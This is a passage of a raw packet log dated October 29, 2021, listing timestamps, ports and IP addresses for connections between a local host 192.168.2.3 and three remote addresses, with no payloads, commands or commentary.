Oct 29, 2021 14:11:11.193500042 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193638086 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193758965 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.196630955 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.197844028 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.197958946 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.198039055 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.214745998 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.214831114 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.215563059 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.218394995 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.218427896 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.238182068 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.240539074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.246279001 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246328115 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246359110 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246383905 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246412039 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246434927 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246462107 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246488094 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246511936 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246536970 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246561050 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246587992 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246613979 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.246660948 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.249532938 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.249666929 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.249707937 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.261022091 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.263314962 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.265198946 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.265225887 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.265929937 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.292694092 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.297776937 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.297807932 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.297821045 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.297841072 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298022985 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298089981 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298192024 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298248053 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298374891 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298393965 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298526049 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298711061 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298938036 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298969030 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.298985004 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.299004078 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.299154043 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.299175978 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.299349070 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.299371004 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.299643040 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.301253080 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.301422119 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.301527023 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.301578045 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.332875967 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.336483955 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.336647987 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.336715937 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.336770058 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.336832047 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.336927891 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.337028027 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.337090015 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.337141991 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.337166071 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.337182999 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.337362051 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.337431908 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.337527990 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.338001013 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.338083982 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.338145971 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.338205099 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339112997 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339158058 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339246988 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339734077 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339766026 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339771986 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.339783907 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.339859009 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.339977026 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.340186119 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.340195894 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.349603891 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349716902 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349736929 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349755049 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349773884 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349790096 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349807978 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349915981 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.349986076 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350065947 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350166082 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350282907 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350338936 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350439072 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350497961 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350584984 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350660086 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350742102 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.350809097 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351001024 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351104975 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351123095 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351182938 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351262093 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351283073 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351461887 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351545095 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351564884 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351677895 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351746082 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351828098 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351874113 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.351952076 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352035999 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352062941 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352134943 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.352195978 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352276087 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352339983 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352438927 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352502108 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352639914 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352701902 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.352799892 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.353234053 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.353319883 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.353542089 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.353588104 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.353630066 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.353837967 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.354403019 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.354454994 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.354491949 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.354604959 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.354650974 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.354696989 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.357089996 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.357218981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357255936 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357290030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357323885 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357357979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357391119 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357417107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357451916 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.357484102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.360519886 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.360546112 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.361119032 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.364978075 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.365006924 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365027905 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365060091 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365150928 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.365262985 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.365273952 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365291119 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.365303993 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365319967 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365348101 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365365028 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.365377903 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.365609884 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.365726948 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.370692015 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.370815992 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.371608019 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.371715069 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.371721029 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.371742010 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.371803999 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.372143984 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.372222900 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.372241020 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.372298002 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.373342991 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.373413086 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.373471975 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.373581886 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.374190092 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.374268055 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.374628067 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.374706030 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.374708891 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.374737024 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.374763966 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.375586033 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.375674009 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.376418114 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.377373934 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.377978086 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.381532907 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.384835005 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.384861946 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.384952068 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.384984970 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.384989977 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.385113001 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.385123968 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.385175943 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.385189056 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.385209084 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.385220051 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.385267973 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.385333061 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.385349989 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.385359049 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.385411024 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.385449886 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.386109114 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.387231112 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.387275934 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.389080048 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.393845081 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.393887043 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398561001 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398586035 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398650885 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398679018 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398699999 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398749113 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398773909 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398791075 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398811102 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398818970 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398824930 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398869038 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398875952 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398902893 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398925066 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398937941 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398957014 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398962021 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398971081 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.398988962 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.398998022 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.399363995 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.399382114 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.399396896 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.399458885 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.399470091 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.399547100 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.399593115 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.400121927 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.400182962 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.400333881 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.400648117 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.400690079 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.400773048 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.400806904 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.400815964 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.400832891 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.400839090 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.400892973 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.401652098 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.401689053 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.401750088 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.401770115 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.401798964 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.401839972 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.402031898 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.402403116 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.402771950 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.402847052 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.402920008 CEST	443	50105	162.159.129.233	192.168.2.3
Oct 29, 2021 14:11:11.402949095 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.403048992 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.403163910 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.403378963 CEST	50105	443	192.168.2.3	162.159.129.233
Oct 29, 2021 14:11:11.412106037 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.425275087 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.447674036 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447730064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447763920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447793961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447835922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447874069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447911024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447948933 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.447985888 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448024988 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448062897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448098898 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448137045 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448174000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448210001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448246956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448283911 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.448323011 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.449129105 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.449242115 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.451483011 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.456372023 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.505861044 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.507936001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.507991076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.521672010 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.530000925 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.531754971 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.531888008 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.531961918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532032967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532107115 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532177925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532223940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532263994 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532303095 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532339096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532377958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532416105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532454014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532493114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532530069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532568932 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532607079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532769918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532829046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532903910 CEST	80	50088	45.141.84.21	192.168.2.3
